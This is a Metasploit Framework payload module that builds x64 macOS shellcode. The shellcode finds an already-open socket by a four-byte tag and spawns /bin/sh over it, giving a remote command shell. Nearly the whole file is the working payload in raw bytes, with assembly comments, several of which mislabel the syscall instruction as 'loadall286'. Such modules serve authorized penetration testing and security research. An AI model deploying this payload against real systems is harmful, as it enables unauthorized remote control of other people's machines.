modules/payloads/singles/osx/x64/shell_find_tag.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 107
include Msf::Payload::Single
include Msf::Payload::Osx
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX Command Shell, Find Tag Inline',
'Description' => 'Spawn a shell on an established connection (proxy/nat safe)',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::FindTag,
'Session' => Msf::Sessions::CommandShellUnix
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]),
])
end
#
# ensures the setting of tag to a four byte value
#
def generate(_opts = {})
cmd = (datastore['CMD'] || '') + "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x48\x31\xFF" + # xor rdi,rdi
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x04" + # push byte +0x4
"\x5A" + # pop rdx
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xC9" + # xor r9,r9
"\x48\xFF\xCF" + # dec rdi
"\x48\xFF\xC7" + # inc rdi
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
datastore['TAG'] +
"\x75\xED" + # jnz 0x17
"\x48\x31\xC9" + # xor rcx,rcx
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
cmd +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end